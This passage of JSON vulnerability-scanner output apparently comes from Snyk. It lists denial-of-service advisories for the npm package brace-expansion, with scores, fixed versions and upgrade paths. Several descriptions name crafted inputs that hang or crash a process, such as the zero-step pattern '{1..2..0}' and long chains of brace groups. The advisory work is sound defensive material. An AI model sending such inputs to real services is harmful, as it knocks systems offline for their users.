"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
